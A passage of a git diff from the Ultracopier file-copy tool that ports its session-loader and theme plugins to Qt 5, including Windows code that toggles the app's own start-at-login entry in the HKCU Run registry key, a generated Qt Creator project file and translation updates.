+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
+ /// \brief to get the options widget, NULL if not have
+ QWidget * options();
public slots:
- /// \brief to reload the translation, because the new language have been loaded
- void newLanguageLoaded();
-signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
+ /// \brief to reload the translation, because the new language have been loaded
+ void newLanguageLoaded();
};
#endif // SESSION_LOADER_PLUGIN_H
diff --git a/plugins/SessionLoader/KDE4/sessionLoader.pro b/plugins/SessionLoader/KDE4/sessionLoader.pro
index e036663..4398dfe 100644
--- a/plugins/SessionLoader/KDE4/sessionLoader.pro
+++ b/plugins/SessionLoader/KDE4/sessionLoader.pro
@@ -1,3 +1,7 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
TEMPLATE = lib
CONFIG += plugin
HEADERS = sessionLoader.h \
diff --git a/plugins/SessionLoader/KDE4/sessionLoader.pro.user.2.7pre1 b/plugins/SessionLoader/KDE4/sessionLoader.pro.user.2.7pre1
new file mode 100644
index 0000000..7741b0d
--- /dev/null
+++ b/plugins/SessionLoader/KDE4/sessionLoader.pro.user.2.7pre1
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE QtCreatorProject>
+<!-- Written by Qt Creator 2.6.2, 2013-03-18T13:36:56. -->
+<qtcreator>
+ <data>
+ <variable>ProjectExplorer.Project.ActiveTarget</variable>
+ <value type="int">0</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.EditorSettings</variable>
+ <valuemap type="QVariantMap">
+ <value type="bool" key="EditorConfiguration.AutoIndent">true</value>
+ <value type="bool" key="EditorConfiguration.AutoSpacesForTabs">false</value>
+ <value type="bool" key="EditorConfiguration.CamelCaseNavigation">true</value>
+ <valuemap type="QVariantMap" key="EditorConfiguration.CodeStyle.0">
+ <value type="QString" key="language">Cpp</value>
+ <valuemap type="QVariantMap" key="value">
+ <value type="QString" key="CurrentPreferences">CppGlobal</value>
+ </valuemap>
+ </valuemap>
+ <valuemap type="QVariantMap" key="EditorConfiguration.CodeStyle.1">
+ <value type="QString" key="language">QmlJS</value>
+ <valuemap type="QVariantMap" key="value">
+ <value type="QString" key="CurrentPreferences">QmlJSGlobal</value>
+ </valuemap>
+ </valuemap>
+ <value type="int" key="EditorConfiguration.CodeStyle.Count">2</value>
+ <value type="QByteArray" key="EditorConfiguration.Codec">UTF-8</value>
+ <value type="bool" key="EditorConfiguration.ConstrainTooltips">false</value>
+ <value type="int" key="EditorConfiguration.IndentSize">4</value>
+ <value type="bool" key="EditorConfiguration.KeyboardTooltips">false</value>
+ <value type="bool" key="EditorConfiguration.MouseNavigation">true</value>
+ <value type="int" key="EditorConfiguration.PaddingMode">1</value>
+ <value type="bool" key="EditorConfiguration.ScrollWheelZooming">true</value>
+ <value type="int" key="EditorConfiguration.SmartBackspaceBehavior">0</value>
+ <value type="bool" key="EditorConfiguration.SpacesForTabs">true</value>
+ <value type="int" key="EditorConfiguration.TabKeyBehavior">0</value>
+ <value type="int" key="EditorConfiguration.TabSize">8</value>
+ <value type="bool" key="EditorConfiguration.UseGlobal">true</value>
+ <value type="int" key="EditorConfiguration.Utf8BomBehavior">1</value>
+ <value type="bool" key="EditorConfiguration.addFinalNewLine">true</value>
+ <value type="bool" key="EditorConfiguration.cleanIndentation">true</value>
+ <value type="bool" key="EditorConfiguration.cleanWhitespace">true</value>
+ <value type="bool" key="EditorConfiguration.inEntireDocument">true</value>
+ </valuemap>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.PluginSettings</variable>
+ <valuemap type="QVariantMap"/>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.Target.0</variable>
+ <valuemap type="QVariantMap">
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Desktop-Qt 5.01 (qt5-linux)</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName">Desktop-Qt 5.01 (qt5-linux)</value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">{55d7d977-66a3-4d72-9331-2ae779c6252a}</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveBuildConfiguration">0</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveDeployConfiguration">0</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveRunConfiguration">0</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Debug</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">2</value>
+ <value type="QString" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins/SessionLoader/sessionLoader-build-Desktop_Qt_5_01_qt5_linux-Debug</value>
+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.1">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Release</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">0</value>
+ <value type="QString" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins/SessionLoader/sessionLoader-build-Desktop_Qt_5_01_qt5_linux-Release</value>
+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.BuildConfigurationCount">2</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.DeployConfiguration.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">0</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Deploy</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Deploy</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Deploy locally</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.DefaultDeployConfiguration</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.DeployConfigurationCount">1</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.RunConfiguration.0">
+ <value type="bool" key="Analyzer.Project.UseGlobal">true</value>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.Arguments"></value>
+ <value type="int" key="ProjectExplorer.CustomExecutableRunConfiguration.BaseEnvironmentBase">2</value>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.Executable"></value>
+ <value type="bool" key="ProjectExplorer.CustomExecutableRunConfiguration.UseTerminal">false</value>
+ <valuelist type="QVariantList" key="ProjectExplorer.CustomExecutableRunConfiguration.UserEnvironmentChanges"/>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.WorkingDirectory">%{buildDir}</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Custom Executable</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QByteArray" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.CustomExecutableRunConfiguration</value>
+ <value type="uint" key="RunConfiguration.QmlDebugServerPort">3768</value>
+ <value type="bool" key="RunConfiguration.UseCppDebugger">true</value>
+ <value type="bool" key="RunConfiguration.UseMultiProcess">false</value>
+ <value type="bool" key="RunConfiguration.UseQmlDebugger">false</value>
+ <value type="bool" key="RunConfiguration.UseQmlDebuggerAuto">true</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.RunConfigurationCount">1</value>
+ </valuemap>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.TargetCount</variable>
+ <value type="int">1</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.Updater.EnvironmentId</variable>
+ <value type="QString">{74ab603f-f657-4135-92cf-c93af71b2f91}</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.Updater.FileVersion</variable>
+ <value type="int">12</value>
+ </data>
+</qtcreator>
diff --git a/plugins/SessionLoader/Windows/DebugEngineMacro.h b/plugins/SessionLoader/Windows/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins/SessionLoader/Windows/DebugEngineMacro.h
+++ b/plugins/SessionLoader/Windows/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/SessionLoader/Windows/Environment.h b/plugins/SessionLoader/Windows/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins/SessionLoader/Windows/Environment.h
+++ b/plugins/SessionLoader/Windows/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/SessionLoader/Windows/Variable.h b/plugins/SessionLoader/Windows/Variable.h
index 8179c93..963d0c8 100644
--- a/plugins/SessionLoader/Windows/Variable.h
+++ b/plugins/SessionLoader/Windows/Variable.h
@@ -1,8 +1,7 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
diff --git a/plugins/SessionLoader/Windows/documentation.dox b/plugins/SessionLoader/Windows/documentation.dox
index 5cd8685..67ea43f 100755..100644
--- a/plugins/SessionLoader/Windows/documentation.dox
+++ b/plugins/SessionLoader/Windows/documentation.dox
@@ -10,13 +10,13 @@
\section mainpage_overview Overview
- It control if it loaded with the session.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ It control if it loaded with the session. Use HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run. \n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins/SessionLoader/Windows/informations.xml b/plugins/SessionLoader/Windows/informations.xml
index 5aea44c..b91bd28 100644
--- a/plugins/SessionLoader/Windows/informations.xml
+++ b/plugins/SessionLoader/Windows/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[This plugin allow Ultracopier to be loaded at the session opening under windows]]></description>
<description xml:lang="fr"><![CDATA[Ce plugin permet de charger Ultracopier à l'ouverture de la sessions sous windows]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>Windows</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/SessionLoader/Windows/plugin.json b/plugins/SessionLoader/Windows/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/SessionLoader/Windows/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/SessionLoader/Windows/sessionLoader.cpp b/plugins/SessionLoader/Windows/sessionLoader.cpp
index 8e1595c..5080bdc 100755..100644
--- a/plugins/SessionLoader/Windows/sessionLoader.cpp
+++ b/plugins/SessionLoader/Windows/sessionLoader.cpp
@@ -1,69 +1,80 @@
/** \file session-loader.cpp
\brief Define the session plugin loader test
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\author alpha_one_x86 */
-#include <QtCore>
+#include "sessionLoader.h"
+
+#include <QCoreApplication>
-#if defined (Q_OS_WIN32)
-#include <windows.h>
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
#else
-#error "Not under windows, plugin will not work"
+ #error "This plugin will only work under Windows"
#endif
-#include "sessionLoader.h"
-
-void SessionLoader::setEnabled(bool newValue)
+void WindowsSessionLoader::setEnabled(const bool &newValue)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, newValue: "+QString::number(newValue));
- //set value into the variable
- HKEY ultracopier_regkey;
- //for autostart
- QString runStringApp = "\"" + QApplication::applicationFilePath() + "\"";
- runStringApp.replace( "/", "\\" );
- wchar_t windowsString[255];
- runStringApp.toWCharArray(windowsString);
- RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 0, &ultracopier_regkey, 0);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, newValue: "+QString::number(newValue));
+ //set value into the variable
+ HKEY ultracopier_regkey;
+ //for autostart
+ QString runStringApp = "\"" + QCoreApplication::applicationFilePath() + "\"";
+ runStringApp.replace( "/", "\\" );
+ wchar_t windowsString[255];
+ runStringApp.toWCharArray(windowsString);
+ if(RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 0, &ultracopier_regkey, 0)==ERROR_SUCCESS)
+ {
if(newValue)
- RegSetValueEx(ultracopier_regkey, TEXT("ultracopier"), 0, REG_SZ, (BYTE*)windowsString, runStringApp.length()*2);
- else
- RegDeleteValue(ultracopier_regkey, TEXT("ultracopier"));
+ {
+ if(RegSetValueEx(ultracopier_regkey, TEXT("ultracopier"), 0, REG_SZ, (BYTE*)windowsString, runStringApp.length()*2)!=ERROR_SUCCESS)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"newValue: "+QString::number(newValue)+" failed");
+ }
+ else
+ {
+ if(RegDeleteValue(ultracopier_regkey, TEXT("ultracopier"))!=ERROR_SUCCESS)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"newValue: "+QString::number(newValue)+" failed");
+ }
RegCloseKey(ultracopier_regkey);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"RegCreateKeyEx: Software\\Microsoft\\Windows\\CurrentVersion\\Run failed");
}
-bool SessionLoader::getEnabled()
+bool WindowsSessionLoader::getEnabled() const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //return the value into the variable
- HKEY ultracopier_regkey;
- bool temp=false;
- RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 0, &ultracopier_regkey, 0);
- DWORD kSize=254;
- if(RegQueryValueEx(ultracopier_regkey,TEXT("ultracopier"),NULL,NULL,(LPBYTE)0,&kSize) == ERROR_SUCCESS)
- temp=true;
- RegCloseKey(ultracopier_regkey);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"return this value: "+QString::number(temp));
- return temp;
+ //return the value into the variable
+ HKEY ultracopier_regkey;
+ bool temp=false;
+ if(RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 0, &ultracopier_regkey, 0)==ERROR_SUCCESS)
+ {
+ DWORD kSize=254;
+ if(RegQueryValueEx(ultracopier_regkey,TEXT("ultracopier"),NULL,NULL,(LPBYTE)0,&kSize) == ERROR_SUCCESS)
+ temp=true;
+ RegCloseKey(ultracopier_regkey);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"RegCreateKeyEx: Software\\Microsoft\\Windows\\CurrentVersion\\Run failed");
+ return temp;
}
-void SessionLoader::setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion)
+void WindowsSessionLoader::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
{
- Q_UNUSED(options);
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- Q_UNUSED(portableVersion);
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
}
/// \brief to get the options widget, NULL if not have
-QWidget * SessionLoader::options()
+QWidget * WindowsSessionLoader::options()
{
- return NULL;
+ return NULL;
}
/// \brief to reload the translation, because the new language have been loaded
-void SessionLoader::newLanguageLoaded()
+void WindowsSessionLoader::newLanguageLoaded()
{
}
-
-Q_EXPORT_PLUGIN2(sessionLoader, SessionLoader);
diff --git a/plugins/SessionLoader/Windows/sessionLoader.h b/plugins/SessionLoader/Windows/sessionLoader.h
index a08ea94..bc8615e 100755..100644
--- a/plugins/SessionLoader/Windows/sessionLoader.h
+++ b/plugins/SessionLoader/Windows/sessionLoader.h
@@ -1,39 +1,33 @@
/** \file sessionLoader.h
\brief Define the session loader
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef SESSION_LOADER_H
#define SESSION_LOADER_H
#include <QObject>
-#include <QApplication>
#include "Environment.h"
#include "../../../interface/PluginInterface_SessionLoader.h"
/// \brief Define the session loader
-class SessionLoader : public PluginInterface_SessionLoader
+class WindowsSessionLoader : public PluginInterface_SessionLoader
{
Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.SessionLoader/1.0.0.0" FILE "plugin.json")
Q_INTERFACES(PluginInterface_SessionLoader)
public:
/// \brief to set if it's enabled or not
- void setEnabled(bool);
+ void setEnabled(const bool &newValue);
/// \brief to get if is enabled
- bool getEnabled();
+ bool getEnabled() const;
/// \brief set the resources for the plugins
- void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion);
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
/// \brief to get the options widget, NULL if not have
QWidget * options();
public slots:
/// \brief to reload the translation, because the new language have been loaded
void newLanguageLoaded();
-signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
};
#endif // SESSION_LOADER_H
diff --git a/plugins/SessionLoader/Windows/sessionLoader.pro b/plugins/SessionLoader/Windows/sessionLoader.pro
index c454601..071db7e 100644
--- a/plugins/SessionLoader/Windows/sessionLoader.pro
+++ b/plugins/SessionLoader/Windows/sessionLoader.pro
@@ -1,5 +1,10 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
TEMPLATE = lib
CONFIG += plugin
+LIBS += -ladvapi32
HEADERS = sessionLoader.h \
StructEnumDefinition.h \
Variable.h \
diff --git a/plugins/Themes/Oxygen/DebugEngineMacro.h b/plugins/Themes/Oxygen/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins/Themes/Oxygen/DebugEngineMacro.h
+++ b/plugins/Themes/Oxygen/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/Themes/Oxygen/Environment.h b/plugins/Themes/Oxygen/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins/Themes/Oxygen/Environment.h
+++ b/plugins/Themes/Oxygen/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/Themes/Oxygen/Languages/ar/translation.ts b/plugins/Themes/Oxygen/Languages/ar/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/ar/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/ar/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
